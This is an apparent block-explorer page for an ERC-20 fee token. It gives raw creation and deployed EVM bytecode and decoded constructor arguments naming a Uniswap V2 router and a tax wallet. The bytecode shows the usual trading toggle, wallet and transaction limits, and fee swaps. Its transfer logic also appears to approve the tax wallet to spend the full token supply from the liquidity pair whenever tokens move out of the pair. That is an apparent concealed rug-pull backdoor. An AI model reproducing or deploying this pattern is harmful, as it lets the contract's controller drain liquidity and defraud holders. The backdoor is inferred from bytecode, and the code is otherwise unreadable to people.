61030557806349bd5a5e1461031a575f80fd5b806306fdde0314610220578063095ea7b31461024a57806318160ddd1461027957806323b872dd14610297575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b50610234610668565b6040516102419190611b39565b60405180910390f35b348015610255575f80fd5b50610269610264366004611b99565b6106f8565b6040519015158152602001610241565b348015610284575f80fd5b506002545b604051908152602001610241565b3480156102a2575f80fd5b506102696102b1366004611bc3565b610711565b3480156102c1575f80fd5b5061028960115481565b3480156102d6575f80fd5b5060405160098152602001610241565b3480156102f1575f80fd5b50610269610300366004611b99565b610734565b348015610310575f80fd5b5061028960105481565b348015610325575f80fd5b50600654610339906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561035c575f80fd5b5061037061036b366004611c01565b610755565b005b34801561037d575f80fd5b5061026961038c366004611c01565b6001600160a01b03165f9081526014602052604090205460ff1690565b3480156103b4575f80fd5b506103397f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e7575f80fd5b506103706108a3565b3480156103fb575f80fd5b5061028961040a366004611c01565b6001600160a01b03165f9081526020819052604090205490565b34801561042f575f80fd5b50610370610bd2565b348015610443575f80fd5b50610370610be5565b348015610457575f80fd5b50600954610339906001600160a01b031681565b348015610476575f80fd5b50610370610bfa565b34801561048a575f80fd5b506005546001600160a01b0316610339565b3480156104a7575f80fd5b50610234610c8d565b3480156104bb575f80fd5b5061028960125481565b3480156104d0575f80fd5b50610289600f5481565b3480156104e5575f80fd5b506102696104f4366004611b99565b610c9c565b348015610504575f80fd5b50610269610513366004611b99565b610d16565b348015610523575f80fd5b50600854610339906001600160a01b031681565b348015610542575f80fd5b50610289600a5481565b348015610557575f80fd5b50610370610566366004611c1c565b610d23565b348015610576575f80fd5b50610370610585366004611c1c565b610d43565b348015610595575f80fd5b50610289600b5481565b3480156105aa575f80fd5b50610370610e16565b3480156105be575f80fd5b5061028960135481565b3480156105d3575f80fd5b506102896105e2366004611c33565b610e2d565b3480156105f2575f80fd5b50610289600d5481565b348015610607575f80fd5b50600754610339906001600160a01b031681565b348015610626575f80fd5b50610370610635366004611c01565b610e57565b348015610645575f80fd5b50610289600c5481565b34801561065a575f80fd5b50600e546102699060ff1681565b60606003805461067790611c6a565b80601f01602080910402602001604051908101604052809291908181526020018280546106a390611c6a565b80156106ee5780601f106106c5576101008083540402835291602001916106ee565b820191905f5260205f20905b8154815290600101906020018083116106d157829003601f168201915b5050505050905090565b5f33610705818585610ecd565b60019150505b92915050565b5f3361071e858285610ff0565b610729858585611062565b506001949350505050565b5f336107058185856107468383610e2d565b6107509190611cb6565b610ecd565b6007546001600160a01b0316336001600160a01b031614610774575f80fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de9190611cc9565b90505f81116108295760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610879573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089d9190611ce0565b50505050565b6108ab6116c9565b600e5460ff16156108fe5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610820565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097e9190611cff565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611cff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a57573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7b9190611cff565b600680546001600160a01b0319166001600160a01b039290921691821790555f908152601560205260409020805460ff19166001179055610adf307f0000000000000000000000000000000000000000000000000000000000000000600a54610ecd565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7194730610b2e306001600160a01b03165f9081526020819052604090205490565b5f80610b426005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bcd9190611d1a565b505050565b610bda6116c9565b610be35f611723565b565b610bed6116c9565b600254600c819055600b55565b6007546001600160a01b0316336001600160a01b031614610c19575f80fd5b5f4711610c615760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610820565b60405133904780156108fc02915f818181858888f19350505050158015610c8a573d5f803e3d5ffd5b50565b60606004805461067790611c6a565b5f3381610ca98286610e2d565b905083811015610d095760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610820565b6107298286868403610ecd565b5f33610705818585611062565b610d2b6116c9565b610d3d81670de0b6b3a7640000611d45565b600d5550565b6007546001600160a01b0316336001600160a01b031614610d62575f80fd5b5f610d6c60025490565b305f908152602081905260408120549192506064849003610d8e575080610db1565b6064610d9a8585611d45565b610da49190611d5c565b905081811115610db15750805b81811115610e0d5760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610820565b61089d81611774565b610e1e6116c9565b600e805460ff19166001179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610e5f6116c9565b6001600160a01b038116610ec45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610820565b610c8a81611723565b6001600160a01b038316610f2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610820565b6001600160a01b038216610f905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610820565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ffb8484610e2d565b90505f19811461089d57818110156110555760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610820565b61089d8484848403610ecd565b6001600160a01b0383166110885760405162461bcd60e51b815260040161082090611d7b565b600980546001600160a01b0319166001600160a01b038581169190911790915582166110c65760405162461bcd60e51b815260040161082090611dc0565b6006545f906001600160a01b038581169116148015906110f457506006546001600160a01b03848116911614155b90505f821161115e5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610820565b815f036111705761089d84845f61192a565b6006546009805460ff60a81b19166001600160a01b0392831687841614600160a81b02179055600554166001600160a01b0316846001600160a01b0316141580156111c957506005546001600160a01b03848116911614155b80156111e057506001600160a01b03831661dead14155b80156111f65750600954600160a01b900460ff16155b156114eb57600e5460ff16611287576001600160a01b0384165f9081526014602052604090205460ff168061124257506001600160a01b0383165f9081526014602052604090205460ff165b6112875760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610820565b6006546001600160a01b0385811691161480156112bc57506001600160a01b0383165f9081526015602052604090205460ff16155b156113b357600b548211156113315760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610820565b600c546001600160a01b0384165f908152602081905260409020546113569084611cb6565b111561139a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610820565b60138054905f6113a983611e03565b91905055506114eb565b6006546001600160a01b0384811691161480156113e857506001600160a01b0384165f9081526015602052604090205460ff16155b1561146357600b5482111561145e5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610820565b6114eb565b6001600160a01b0383165f9081526015602052604090205460ff166114eb57600c546001600160a01b0384165f908152602081905260409020546114a79084611cb6565b11156114eb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610820565b5f811580156115135750600854611513906001600160a01b031661150e60025490565b611a52565b905080801561152c5750600954600160a01b900460ff16155b801561154657506006546001600160a01b03868116911614155b801561156a57506001600160a01b0385165f9081526014602052604090205460ff16155b801561158e57506001600160a01b0384165f9081526014602052604090205460ff16155b156115bd576009805460ff60a01b1916600160a01b1790556115af83611a86565b6009805460ff60a01b191690555b6009545f90600160a01b900460ff161580156115d7575082155b6001600160a01b0387165f9081526014602052604090205490915060ff168061161757506001600160a01b0385165f9081526014602052604090205460ff165b1561161f57505f5b5f81156116b5576006546001600160a01b039081169087160361166f5761166860646116626012546013541161165757600f5461165b565b6011545b8890611ae1565b90611af3565b9050611697565b61169460646116626012546013541161168a57600f5461165b565b6010548890611ae1565b90505b80156116a8576116a887308361192a565b6116b28186611e1b565b94505b6116c087878761192a565b50505050505050565b6005546001600160a01b03163314610be35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610820565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106117a7576117a7611e2e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611823573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118479190611cff565b8160018151811061185a5761185a611e2e565b60200260200101906001600160a01b031690816001600160a01b0316815250506118a5307f000000000000000000000000000000000000000000000000000000000000000084610ecd565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906118f99085905f90869030904290600401611e42565b5f604051808303815f87803b158015611910575f80fd5b505af1158015611922573d5f803e3d5ffd5b505050505050565b6001600160a01b0383166119505760405162461bcd60e51b815260040161082090611d7b565b6001600160a01b0382166119765760405162461bcd60e51b815260040161082090611dc0565b6001600160a01b0383165f90815260208190526040902054818110156119ed5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610820565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361089d565b6009545f90600160a81b900460ff1615611a7d57600954611a7d906001600160a01b03168484610ecd565b50600192915050565b305f90815260208190526040812054908115801590611aa65750600d5482105b15611ab2575080611ac8565b600d54831115611ac55750600d54611ac8565b50815b8115611ad757611ad781611774565b4761089d81611afe565b5f611aec8284611d45565b9392505050565b5f611aec8284611d5c565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611b35573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b81811015611b6557858101830151858201604001528201611b49565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c8a575f80fd5b5f8060408385031215611baa575f80fd5b8235611bb581611b85565b946020939093013593505050565b5f805f60608486031215611bd5575f80fd5b8335611be081611b85565b92506020840135611bf081611b85565b929592945050506040919091013590565b5f60208284031215611c11575f80fd5b8135611aec81611b85565b5f60208284031215611c2c575f80fd5b5035919050565b5f8060408385031215611c44575f80fd5b8235611c4f81611b85565b91506020830135611c5f81611b85565b809150509250929050565b600181811c90821680611c7e57607f821691505b602082108103611c9c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561070b5761070b611ca2565b5f60208284031215611cd9575f80fd5b5051919050565b5f60208284031215611cf0575f80fd5b81518015158114611aec575f80fd5b5f60208284031215611d0f575f80fd5b8151611aec81611b85565b5f805f60608486031215611d2c575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761070b5761070b611ca2565b5f82611d7657634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f60018201611e1457611e14611ca2565b5060010190565b8181038181111561070b5761070b611ca2565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e925784516001600160a01b031683529383019391830191600101611e6d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207c391d77d8057c2b53fe2bb952234285f08a11ddf9ba7231c0753e049ff562ff64736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000003037904e7ebbbe164e0c8bd6b389738b1fc8f228

Deployed Bytecode

0x608060405260043610610215575f3560e01c80638da5cb5b1161011e578063b70143c9116100a8578063e2f456051161006d578063e2f45605146105e7578063f0c41d74146105fc578063f2fde38b1461061b578063f8b45b051461063a578063ffb54a991461064f575f80fd5b8063b70143c91461056b578063c8c8ebe41461058a578063c9567bf91461059f578063ca703075146105b3578063dd62ed3e146105c8575f80fd5b8063a457c2d7116100ee578063a457c2d7146104da578063a9059cbb146104f9578063aa2969e514610518578063af465a2714610537578063afa4f3b21461054c575f80fd5b80638da5cb5b1461047f57806395d89b411461049c578063996bd7f0146104b05780639c00316e146104c5575f80fd5b80634be55d1f1161019f57806370a082311161016f57806370a08231146103f0578063715018a614610424578063751039fc14610438578063806b984f1461044c5780638d275bc91461046b575f80fd5b80634be55d1f146103515780634fbee19314610372578063583e0568146103a95780636e34e91d146103dc575f80fd5b80632b14ca56116101e55780632b14ca56146102b6578063313ce567146102cb57806339509351146102e6578063470624021461030557806349bd5a5e1461031a575f80fd5b806306fdde0314610220578063095ea7b31461024a57806318160ddd1461027957806323b872dd14610297575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b50610234610668565b6040516102419190611b39565b60405180910390f35b348015610255575f80fd5b50610269610264366004611b99565b6106f8565b6040519015158152602001610241565b348015610284575f80fd5b506002545b604051908152602001610241565b3480156102a2575f80fd5b506102696102b1366004611bc3565b610711565b3480156102c1575f80fd5b5061028960115481565b3480156102d6575f80fd5b5060405160098152602001610241565b3480156102f1575f80fd5b50610269610300366004611b99565b610734565b348015610310575f80fd5b5061028960105481565b348015610325575f80fd5b50600654610339906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561035c575f80fd5b5061037061036b366004611c01565b610755565b005b34801561037d575f80fd5b5061026961038c366004611c01565b6001600160a01b03165f9081526014602052604090205460ff1690565b3480156103b4575f80fd5b506103397f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156103e7575f80fd5b506103706108a3565b3480156103fb575f80fd5b5061028961040a366004611c01565b6001600160a01b03165f9081526020819052604090205490565b34801561042f575f80fd5b50610370610bd2565b348015610443575f80fd5b50610370610be5565b348015610457575f80fd5b50600954610339906001600160a01b031681565b348015610476575f80fd5b50610370610bfa565b34801561048a575f80fd5b506005546001600160a01b0316610339565b3480156104a7575f80fd5b50610234610c8d565b3480156104bb575f80fd5b5061028960125481565b3480156104d0575f80fd5b50610289600f5481565b3480156104e5575f80fd5b506102696104f4366004611b99565b610c9c565b348015610504575f80fd5b50610269610513366004611b99565b610d16565b348015610523575f80fd5b50600854610339906001600160a01b031681565b348015610542575f80fd5b50610289600a5481565b348015610557575f80fd5b50610370610566366004611c1c565b610d23565b348015610576575f80fd5b50610370610585366004611c1c565b610d43565b348015610595575f80fd5b50610289600b5481565b3480156105aa575f80fd5b50610370610e16565b3480156105be575f80fd5b5061028960135481565b3480156105d3575f80fd5b506102896105e2366004611c33565b610e2d565b3480156105f2575f80fd5b50610289600d5481565b348015610607575f80fd5b50600754610339906001600160a01b031681565b348015610626575f80fd5b50610370610635366004611c01565b610e57565b348015610645575f80fd5b50610289600c5481565b34801561065a575f80fd5b50600e546102699060ff1681565b60606003805461067790611c6a565b80601f01602080910402602001604051908101604052809291908181526020018280546106a390611c6a565b80156106ee5780601f106106c5576101008083540402835291602001916106ee565b820191905f5260205f20905b8154815290600101906020018083116106d157829003601f168201915b5050505050905090565b5f33610705818585610ecd565b60019150505b92915050565b5f3361071e858285610ff0565b610729858585611062565b506001949350505050565b5f336107058185856107468383610e2d565b6107509190611cb6565b610ecd565b6007546001600160a01b0316336001600160a01b031614610774575f80fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de9190611cc9565b90505f81116108295760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610879573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089d9190611ce0565b50505050565b6108ab6116c9565b600e5460ff16156108fe5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610820565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097e9190611cff565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611cff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a57573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7b9190611cff565b600680546001600160a01b0319166001600160a01b039290921691821790555f908152601560205260409020805460ff19166001179055610adf307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600a54610ecd565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730610b2e306001600160a01b03165f9081526020819052604090205490565b5f80610b426005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bcd9190611d1a565b505050565b610bda6116c9565b610be35f611723565b565b610bed6116c9565b600254600c819055600b55565b6007546001600160a01b0316336001600160a01b031614610c19575f80fd5b5f4711610c615760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610820565b60405133904780156108fc02915f818181858888f19350505050158015610c8a573d5f803e3d5ffd5b50565b60606004805461067790611c6a565b5f3381610ca98286610e2d565b905083811015610d095760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610820565b6107298286868403610ecd565b5f33610705818585611062565b610d2b6116c9565b610d3d81670de0b6b3a7640000611d45565b600d5550565b6007546001600160a01b0316336001600160a01b031614610d62575f80fd5b5f610d6c60025490565b305f908152602081905260408120549192506064849003610d8e575080610db1565b6064610d9a8585611d45565b610da49190611d5c565b905081811115610db15750805b81811115610e0d5760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610820565b61089d81611774565b610e1e6116c9565b600e805460ff19166001179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610e5f6116c9565b6001600160a01b038116610ec45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610820565b610c8a81611723565b6001600160a01b038316610f2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610820565b6001600160a01b038216610f905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610820565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ffb8484610e2d565b90505f19811461089d57818110156110555760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610820565b61089d8484848403610ecd565b6001600160a01b0383166110885760405162461bcd60e51b815260040161082090611d7b565b600980546001600160a01b0319166001600160a01b038581169190911790915582166110c65760405162461bcd60e51b815260040161082090611dc0565b6006545f906001600160a01b038581169116148015906110f457506006546001600160a01b03848116911614155b90505f821161115e5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610820565b815f036111705761089d84845f61192a565b6006546009805460ff60a81b19166001600160a01b0392831687841614600160a81b02179055600554166001600160a01b0316846001600160a01b0316141580156111c957506005546001600160a01b03848116911614155b80156111e057506001600160a01b03831661dead14155b80156111f65750600954600160a01b900460ff16155b156114eb57600e5460ff16611287576001600160a01b0384165f9081526014602052604090205460ff168061124257506001600160a01b0383165f9081526014602052604090205460ff165b6112875760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610820565b6006546001600160a01b0385811691161480156112bc57506001600160a01b0383165f9081526015602052604090205460ff16155b156113b357600b548211156113315760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610820565b600c546001600160a01b0384165f908152602081905260409020546113569084611cb6565b111561139a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610820565b60138054905f6113a983611e03565b91905055506114eb565b6006546001600160a01b0384811691161480156113e857506001600160a01b0384165f9081526015602052604090205460ff16155b1561146357600b5482111561145e5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610820565b6114eb565b6001600160a01b0383165f9081526015602052604090205460ff166114eb57600c546001600160a01b0384165f908152602081905260409020546114a79084611cb6565b11156114eb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610820565b5f811580156115135750600854611513906001600160a01b031661150e60025490565b611a52565b905080801561152c5750600954600160a01b900460ff16155b801561154657506006546001600160a01b03868116911614155b801561156a57506001600160a01b0385165f9081526014602052604090205460ff16155b801561158e57506001600160a01b0384165f9081526014602052604090205460ff16155b156115bd576009805460ff60a01b1916600160a01b1790556115af83611a86565b6009805460ff60a01b191690555b6009545f90600160a01b900460ff161580156115d7575082155b6001600160a01b0387165f9081526014602052604090205490915060ff168061161757506001600160a01b0385165f9081526014602052604090205460ff165b1561161f57505f5b5f81156116b5576006546001600160a01b039081169087160361166f5761166860646116626012546013541161165757600f5461165b565b6011545b8890611ae1565b90611af3565b9050611697565b61169460646116626012546013541161168a57600f5461165b565b6010548890611ae1565b90505b80156116a8576116a887308361192a565b6116b28186611e1b565b94505b6116c087878761192a565b50505050505050565b6005546001600160a01b03163314610be35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610820565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106117a7576117a7611e2e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611823573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118479190611cff565b8160018151811061185a5761185a611e2e565b60200260200101906001600160a01b031690816001600160a01b0316815250506118a5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610ecd565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906118f99085905f90869030904290600401611e42565b5f604051808303815f87803b158015611910575f80fd5b505af1158015611922573d5f803e3d5ffd5b505050505050565b6001600160a01b0383166119505760405162461bcd60e51b815260040161082090611d7b565b6001600160a01b0382166119765760405162461bcd60e51b815260040161082090611dc0565b6001600160a01b0383165f90815260208190526040902054818110156119ed5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610820565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361089d565b6009545f90600160a81b900460ff1615611a7d57600954611a7d906001600160a01b03168484610ecd565b50600192915050565b305f90815260208190526040812054908115801590611aa65750600d5482105b15611ab2575080611ac8565b600d54831115611ac55750600d54611ac8565b50815b8115611ad757611ad781611774565b4761089d81611afe565b5f611aec8284611d45565b9392505050565b5f611aec8284611d5c565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611b35573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b81811015611b6557858101830151858201604001528201611b49565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c8a575f80fd5b5f8060408385031215611baa575f80fd5b8235611bb581611b85565b946020939093013593505050565b5f805f60608486031215611bd5575f80fd5b8335611be081611b85565b92506020840135611bf081611b85565b929592945050506040919091013590565b5f60208284031215611c11575f80fd5b8135611aec81611b85565b5f60208284031215611c2c575f80fd5b5035919050565b5f8060408385031215611c44575f80fd5b8235611c4f81611b85565b91506020830135611c5f81611b85565b809150509250929050565b600181811c90821680611c7e57607f821691505b602082108103611c9c57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561070b5761070b611ca2565b5f60208284031215611cd9575f80fd5b5051919050565b5f60208284031215611cf0575f80fd5b81518015158114611aec575f80fd5b5f60208284031215611d0f575f80fd5b8151611aec81611b85565b5f805f60608486031215611d2c575f80fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761070b5761070b611ca2565b5f82611d7657634e487b7160e01b5f52601260045260245ffd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f60018201611e1457611e14611ca2565b5060010190565b8181038181111561070b5761070b611ca2565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e925784516001600160a01b031683529383019391830191600101611e6d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207c391d77d8057c2b53fe2bb952234285f08a11ddf9ba7231c0753e049ff562ff64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000003037904e7ebbbe164e0c8bd6b389738b1fc8f228

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet (address): 0x3037904E7EBBbe164E0C8Bd6b389738B1fC8F228

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000003037904e7ebbbe164e0c8bd6b389738b1fc8f228


Deployed Bytecode Sourcemap

